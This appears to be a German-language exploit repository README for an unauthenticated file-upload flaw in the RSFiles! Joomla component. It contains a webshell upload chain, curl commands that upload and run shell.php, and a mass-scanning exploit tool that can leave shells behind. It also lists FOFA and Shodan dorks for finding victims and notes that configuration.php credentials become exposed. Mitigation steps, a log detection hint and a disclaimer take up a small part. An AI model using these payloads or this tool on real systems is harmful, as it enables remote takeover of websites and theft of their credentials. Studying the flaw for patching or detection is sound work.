
CVE-2026-57827 — RSFiles! Joomla-Komponente: Nicht authentifizierter Datei-Upload mit Remote-Codeausführung (RCE). Upload-Bypass über Split-Controller. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12
CVE-2026-57827 ist eine kritische (CVSS 9.8) nicht authentifizierte Schwachstelle für beliebigen Datei-Upload in RSFiles! (com_rsfiles), einer weit verbreiteten Dateiverwaltungs- und Download-Komponente für Joomla, in Versionen < 1.17.12.
Die Schwachstelle nutzt einen Designfehler im Split-Controller: RSFiles! trennt seinen Upload in zwei Frontend-Tasks — eine Vorabprüfung (Berechtigungs-Gate + Erweiterungs-Whitelist) und eine Schreibmethode (speichert die Datei auf der Festplatte). Die Schreibmethode kann aufgerufen werden und umgeht die Vorabprüfung vollständig. Keine Authentifizierung, kein CSRF-Token erforderlich.
| Version | Status |
|---|---|
| < 1.17.12 | Anfällig |
| 1.17.12+ | Behoben |
Entdeckt von: Phil Taylor, mySites.guru (10. Juli 2026) Hersteller: RSJoomla (rsjoomla.com) Komponente: com_rsfiles
RSFiles! verteilt seinen Upload auf zwei separate Frontend-Tasks in /components/com_rsfiles/controllers/rsfiles.php:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload aufzurufen und die Vorabprüfung vollständig zu überspringen.JFile::upload()), der standardmäßig jeden Dateityp akzeptiert..htaccess, die dort die PHP-Ausführung stoppen würde, ist eine Opt-in-Admin-Einstellung, die standardmäßig AUS ist.1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
| Dateipfad | Zweck |
|---|---|
/components/com_rsfiles/controllers/rsfiles.php | Controller mit anfälligen upload()- und checkupload()-Tasks |
/components/com_rsfiles/views/upload/tmpl/upload.php | Frontend-Upload-Formularvorlage (bestätigt: name="file", task=rsfiles.upload) |
/downloads/ | Standard-Downloads-Ordner im Web-Root (.htaccess-Schutz standardmäßig AUS) |
/briefcase/ | Briefcase-Ordner (ebenfalls beschreibbar) |
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
Die Sicherheitsprüfungen (Berechtigungs-Gate + Erweiterungs-Whitelist) sind ein separater Vorab-Schritt von der Methode, die die Datei tatsächlich schreibt. Nur der erste enthält die Prüfungen. Der zweite — derjenige, der auf die Festplatte schreibt — konnte direkt aufgerufen werden, indem der richtige task-Parameter in der URL gesetzt wurde, wodurch alle Sicherheitskontrollen umgangen wurden.
Dies ist ein Lehrbuchbeispiel des Anti-Patterns „Prüfungen und Aktionen an verschiedenen Stellen“: Das Schutzgatter und die Operation, die es schützen soll, sind entkoppelt, und ein Angreifer kann die Operation erreichen, ohne das Gatter zu passieren.
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests
# Einzelnes Ziel
python cve_2026_57827.py -t target.com
# Massen-Scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug-Modus, Shells auf dem Ziel hinterlassen
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
Schritt 1 — Shell hochladen
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
Schritt 2 — Auf die Shell zugreifen
curl 'https://target.com/downloads/shell.php?c=id'
Schritt 3 — Befehle ausführen
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'
Mitigation (falls ein Update nicht möglich ist)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
Eine erfolgreiche Ausnutzung führt zu Remote Code Execution als Web-Server-Benutzer:
configuration.php → Datenbank-Zugangsdaten, SMTP-GeheimnisseIn keinem Schritt ist ein Konto auf der Website erforderlich. Anonym, nicht authentifiziert, remote.
RSJoomla hat die Schwachstelle in Version 1.17.12 behoben, indem:
.htaccess-Schutz im Downloads-Ordner standardmäßig aktiviert wurdeNUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS.
Verwenden Sie diese Informationen nicht gegen Systeme ohne ausdrückliche Genehmigung des Eigentümers. Die Autoren übernehmen keine Haftung für Missbrauch.
| Ressource | Link |
|---|---|
| NVD-Eintrag | CVE-2026-57827 |
| mySites.guru Advisory | mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce |
| RSJoomla-Advisory | rsjoomla.com |
| CWE-434 | Unrestricted Upload of File with Dangerous Type |
| Melder | Phil Taylor, mySites.guru |
Nicht mit RSJoomla oder mySites.guru verbunden.